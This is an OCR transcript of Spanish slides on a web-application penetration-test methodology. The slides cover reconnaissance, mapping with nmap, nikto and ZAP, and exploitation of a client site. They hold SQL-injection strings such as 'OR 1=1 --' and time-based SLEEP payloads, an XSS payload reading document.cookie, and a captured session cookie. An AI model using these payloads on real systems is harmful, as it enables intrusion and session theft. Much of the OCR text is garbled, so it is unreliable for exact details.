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Metodologia. Reconocimiento ()

Definicion del alcance.

registros de internet: whois,

Server: tethys. ringofsaturn. com
Address: F1.252.219. 43453

Non-authoritative answer:

owasp. ordg text = "google-site-werification=I%uqx X9EKI1R_rfceGZ5i-ixHEXJvLrmeNbkEdyl152ZiI"™
owasp. ordg text = "vw=zpfl include:aspnx.qoodlenail.com ~all™
Name: oWasp. org
Address: 192.237.166.62
owasp. org has 4hdd address Z2001:4801:7521:77:cd2c:d9de:££10: 170
owasp. org mail exchanger = 20 ALT1.&453PMx.L.GOOGLE. com.
owWwasp. ordg mail exchanger = 20 ALTZ.ASPMX.L.GOOGLE. com.
owasp. ordg mail exchanger = 30 ASPMXZ.GOOGLEMATL. com.
owasp. ordg mail exchanger = 30 AZPMXA.GOOGLEMATL. com.
owasp. ordg mail exchanger = 30 AZPMXES.GOOGLEMATL. com.
owasp. org mail exchanger = 10 ASPMX.L.GOOGLE.com.
owasp. org mail exchanger = 30 ASPMXE. GOOGLEMATL.com.
owash. org
origin = dnsl.stabletransit.com
majil addr = ipadmin.stabletransit.con

serial = 1410656493
refresh = 3600
retry = 300

expire = 1514400

ninimaim = 300
owasp. org nameserwver = dnsZ.stabletransit.com.
owasp. org nameserwver = dnsl.stabletransit.com.

Authoritative answers can be found from:
owasp. ordg nameserver = dnsZ.stabletransit. com.
owasp. ordg nameserwver = dnsl.stabletransit. com.




Metodologia. Reconocimiento (lIl)

Consultas en paginas publicas:

* Noticias.

* Grupos de soporte técnico.

- Listas de correo o foros.

* Redes sociales profesionales.
* Ofertas de empleo.

Motores de busqueda:

* Robots.txt
* Directivasy operadores.

Busqueda de sub-dominios:

« Fierce domain scan: # fierce —dns owasp.org

Elaboracion de diccionarios:

* Cewl: # cewl —w fichero.txt dominio_objetivo.com




Metodologia. Mapeado (I

* Nmap:
« TCP SYN SCAN.
« UDP SCAN.
e # nmap -sV -sS -0 -sC --top-ports 4000 dominio_cliente.com -oA nmap-TCP4000

4000 - i Sy -0A nmap-TCP40806

SERVICE
ftp ' 2.0.8 or later

A4 e

not find at least 1 open and 1 closed

our; 05:
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Metodologia. Mapeado (lIl)

Balanceadores de

Analisis SSL.: carga y WAF:

Rastro minimo,

amano de las claves, -
Webshell tnica,

tipos de cifrado,

ertificados mostrado
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Metodologia. Mapeado (lll)

# tlssled dominio_cliente.com 80

L

[*] Running sslscan on % T “Frwae . com:80

[-] Testing for SSLwZ

[-] Testing for the NULL cipher

[-] Testing for weak ciphers (based on key length - 40 or 56 bits)
[+] Testing for strong ciphers (based on AES)

[ -] sting for MDS signed certificate

[.] sting for the certificate public key length

[.] Testing for

[.] Testing for

[.] Testing for the certificate wvalidity period
oday: Sat Oct 25 14:19:27 UTC 2014

[.] Checking preferred server ciphers



Metodologia. Mapeado (V)

~# nikto -host G : - e COmMm

5

: (Debian)
via ETags, cader found with file
cing X-Frame-Options header is not pr

mmon header ' found, with contents: list

e mod negotiation is enabled with MultiViews, which allows attackers to

-

22 appears to be outdated (current is at least

s: POST, OPTIONS, GET, HEAD

1-by header: PHP/5.4.4-14+deb7ull
) _ This mic
fmanual/: Web server manual fou

Amanual Simar : Directory indexing found.

HlCﬁWSEHEADME' Apache default file found.
phpMyAdmin directory found
@ error(s) and i =

Apache/s2

4461759,

7

L4

sizFe:

Apache

143,

ceasily

2.0

mt i

br

.65




~ Metodologia. Mapeado (V)

» Navegacion manual. ZAP.

D1AC 9 sTlo o
= » Analisis de resultados.
[ W Sesion sin Mombre —&-wsesi;}n1—2014{£13—21115232{)1;§{19&3—215{15T.—OW&SP 7 B — — - ‘

Archivo Editar Wer Analizar Informes Herramientas Online Ayuda

[Modoestandar o | ] [ Tl B = ¢ B B 20O  BE)E= W == &= Ik b @ 3%

e o

L | Consola de secuencia de comandos

[&i[8

U GET:demosmelting

o admin_destinos

i GET:demoepv

U GET:demoaudit

i 4 GET:admin_destinos

U % demoaudit

i demoepvy

o demosmelting

B POST demosmelting(xajax xajaxargs]l xajaxr}
U POST . demeosmelting(xajax xajaxr)

¥

EeeppboeekE ke

o POST . demosmelting(xajax xajaxaras|])
B apy

U GET:2pv

U GET:robots fxt

U % GET:icons

> U # icons

= _.-?;3 Inicio Rapidao T %}t%)]' Respuestas= T 2% Punto de interrupcion
| Header: VistaRaw  |¥| |Bodyvistaraw (=] [T [

GET hitp: /S8 s femti¥ 2y g, com HTTP/AL.1 [_‘;
User-Agent: Mozrilla/4.8 (compatible; MSIE 6.8; Windows NT 5.8;)

Pragma: no-cache

Cache-control: no-cache

Conter‘[t—l.,.er_‘lg_;th: a F
| Host: Emrnfeasdiiashd wes - plvs. com -

Parametros T =i Hitp Sessions T Highlighter

| &) Resuitadeszest [ Liclients | ¥ webSockets | 3% AJAXSpider | || Salida

= Historia T =i, Buscar T 4 Puntos de interrupciGn

Me ajertas T 2 Escansoactivo || & Spider = || #  Mavegacidn predefinida T 4 Fuzzer

Sitio: mevwmm > W W A% Escaneo actual: 0 | URIs Found: 2433
Processed | Métado | URi | Flags

e GET R e SEED

(=] GET hitpo e s s St woi=Tan comidemol SEED

= GET Witekazness comidemosmeiting! SEED

e GET Pttt S S s st . comiadmin,_destinos SEED

'ﬁ' GET hitp A ey aariniy comiadmin_destinosladmin_destinos php SEED

= GET http:Sghicae i e seimiat comidemoepv/ SEED

i GET hitp e mnrietmisrbes i - comidemoaudit! SEED

Alertas B4 2 [u49 mq |

Escanecactual & 0 30 0 o @0 %o
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- Metodologia. Descubrimiento y explotacion (I)

Deteccion:

« Comportamiento ante

errores.
.
ABCD: Yo Mismo [PRIMERA EMPRESA]
Recepcion: [ahma El
Metal Peso Servicio [~ Destino Referencia
Oro ¥ | Afinaje | E | demolines v | | &

%3Epes0%3C%2Fk%3E%3Cv%3Eaaaa%s3

<br [

<br />

</br<br />

<b>Warning</b>: |pg_cmdtuples()|expects parameter 1 to be resource, boolean given in <b

<b>Warning</b>: | pg_query():|Query failed: ERROR: column &guot;asaafquot; does not exist
LINE 1: INSERT INTO|encargos_procesado|UALUES‘{1@,1,?,1,1,3333,8,38J...

~in <b>/var/www/demosmelting/lib/dba/1ibgeneral postgre.php</b> on line <b:33</bx<br />

fvar fwww/demosmelting/1ib/dba/libgeneral_postgre.php<

¢?xml version="1.8" encoding="utf-8" ?»><xjx><cmd n="js">¢![CDATA[FinCierraPedido("", "7"

¥

"7", 1415648993); ]]x</cmd></xjx>

b on line <b>287
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Metodologia. Descubrimiento y explotacion (Il)

Escaneo de vulnerabilidades: Alertas.

[ = Historia T“‘-‘- Buscar T 4 Puntos de interrupcion Alertas % | 7 Escaneo Adtivo T % Spider T,ﬁ Mavegacion predefinida Tﬂ# Fuzzer TI__] Parametros Tcii; Hitp Sessions ]
@ @ Advanced SQL Injection - AND boolean-based blind - WHERE or HAVING clause
¥ [ Alertas (25) & URL: :

» = ™ Advanced SOL Injection - AND boolean-based blind - WHERE or HAVING clause (2)

¥ [ ™ Advanced SOL Injection - MySQL = 5.0.11 AND time-based blind (3)
E| GET: bfma 36 Bivpoat i i comidemoepyinuestros/curs 0s. php ?id=9+AND+SLEEP %285 %2
E| GET: Fgtpit¥hag® ol inesit comiepuinuestrosioticias php?id="1+AND+5LEEP%285%28+
E| POST: M 55 % diadu Speiar Loitddyiskeauditiprincipal php

L3 [ﬁ‘ f Advanced SOL Injection - PostgreSQL = 8.1 AND time-based blind (2)

g [ﬁ‘ f Advanced SOL Injection - PostgreS0OL = 8.1 stacked queries

L [ﬁ‘ fu Advanced SOL Injection - PostgreSOL AND error-based - WHERE or HAVING clause (2)

» (&5 ™ Credenciales de autenticacion capturadaos (4)

» (&5 M Falla por Inyeccion SQL (2)

L [ﬁ‘ [ Secuencia de Comandos en Sitios Cruzados (X3S, reflejado) (3)

g [ﬁ‘ 8 Application Error disclosure (1912)

L [ﬁ‘ FOHTTP Parameter Override (9)

> [ﬁ‘ U Método de autenticacion débil

g [ﬁ‘ i Parameter tampering (5)

L [ﬁ‘ i Ausencia de fichas (tokens) Anti-CSRF (29)

L3 [ﬁ‘ i Content-Type header missing (105)

L [ﬁ‘ I Cookie set without HitpOnly flag (132)

L3 [ﬁ‘ i Cross-domain JavaScript source file inclusion (2)

g [ﬁ‘ FInformation disclosure - debug error messages

L [ﬁ‘wPasswurd Autocomplete in browser (16) Y

"IE L3

g s S R T

Riesgo: i High

Fiabilidad: Warning
Parametro: id

Ataque: 8 AND 5397=5397
Evidencia:

CWE Id: g4

WASC Id: 19

(Desu:ripu:iﬁ-n:

ASQL injection may be possible using the attached payload

Otra info:
[ 4

The page results were successfully manipulated using the boolean condition
The parameter value being modified was stripped from the HTML output for th
Diata was returned for the original parameter.

Solucion:

f

Do not trust client side input, even ifthere is client side validation in place.
In general, type check all data on the semnver side.

[fthe application uses JOBC, use PreparedStatement or CallableStaterment v

INertas fug w4 [Ug FMI




- Metodologia. Descubrimiento y explotacion (111)

Fuzzing de parametros.

Kajax:ﬂmelﬂmerciﬂle oS owr— 4 A4 FILIF IO I ~
[ Buscar... N Fuzz ﬂ

CodificarDescodificarHash... ;
; Cadena para Fuzzin... DevuelveComerciales
Reenviar...
Follow Redirects; [ﬂ

Ver en el navegadar :
(IE— <
v

— = Categoria Fuz: | fuzzdb-1.09 / attack-payloads /xss
MEE > xs5-rsnake b

[ Mo se puede deshacer Cirl+Z - ¥55-Uri b
Mo se puede rehace Ciri+Y

Divulgacion de informacion.

A
Notice: Array to string conversion in

Y fvar/www/demosmelting/pdf/inc/DatosCliente.php
ﬁ;ﬁr ‘hr . i on line 3
e R T T
Teewagmb, - S anlied ik BRI T i
TR e ST A TR R
Tel.: (+34) 902 000 000 S LR S
info@demo.com e st sl i 56321 Valencia

Valencia

Espana




Metodologia. Descubrimiento y explotacion (1V)

Subida de | Eicar. ‘

ficheros:

e Webshell.

ross-Site Scriptin
(XSS).

Inyeccion
SQL en
pagina de
login.

Verificacion
manual.

Inyeccion

| SQL: |

'7 Listado de |
directorios.
Inyeccion
f SQL ciega.
I PhpMyAdmin.

Bypass del login

Extraccion de
informacion con

SQLmap.
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Metodologia. Descubrimiento y explotacion (V)

SELECT * FROM users WHERE usuario="$usu’ and passwo rd='$pass’
SELECT * FROM users WHERE usuario = "OR 1=1 -- and password=""

http://dominio_cliente.com/nuestros/ cursos.php?id=9 +AND+1%3D1+

|

1Py E=SCILUELAS PEICOTERAPLA LIBRERIA

CURSOS DE FORMACION

Sexualidad y Vinculos AMmMorosos

Este curso muestra una comprension de nuestro wivir sexual v relacional. nos ayuda a identificar los
distintos modos de vincularnos, cultivar nuestra erdtica, detectar nuestras resistencias, experimentar la



- Metodologia. Descubrimiento y explotacidon (V1)
Cross-Site Scripting (XSS).

¥ [E i Secuencia de Comandos en Sitios Cruzados (XSS, reflejada) (3)
E| GET: hitpadteasf sedsi iy vasydemoauditipre_envia_datos.php?idtrabajo="%23C%2Fscript®3E%3AC s cript% 3Ealent®: 28 1%29% 3B% 3C % 2F script® 3E% AT s cript%h 3E

POST: & S e el com/demosmelting/
E| POST: & a2 vy wgieés com/demosmelting/contenido/pre_clientes/pre_clientes.php

| xajax :</cmd><sch</script><cmd>

Unknown Function I<.'cmd ==script=alert(1 );'{fsc’n'ppﬁcmd>,l

o

L http://dominio_cliente.com/pre_envi idtrabajo=25

7
'demoaudi'l:,fpre_envia_da‘tos.phplidtrabajo:<‘3{|2Fscript> =script=alert(document.cookiel?%3B <% 2Fscript=> <scrip1:>|| s 4 O - v Google
a usar Firefox & Traductor de Google é Diccionario de la leng... :‘_‘ Consejo disco duro pa... “.. http/flocalhost:8080/1... g’ Treball final de carrera

CKFinder_Path=Files%3A%2Fpdf?%%2F%%3A1; PHPSESSID=0b7ja896ujlpcjuSbn3tq86fj0; popunder=yes; popundr=yes; setoveri18=1

[—Aceptor—]
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Conclusiones.

Revision de un servidor publico.
Ejercicio de auditoria completo.
Enfoque profesional.

Método desarrollado en 4 fases.

Aprendizaje de las metodologias mas
conocidas.



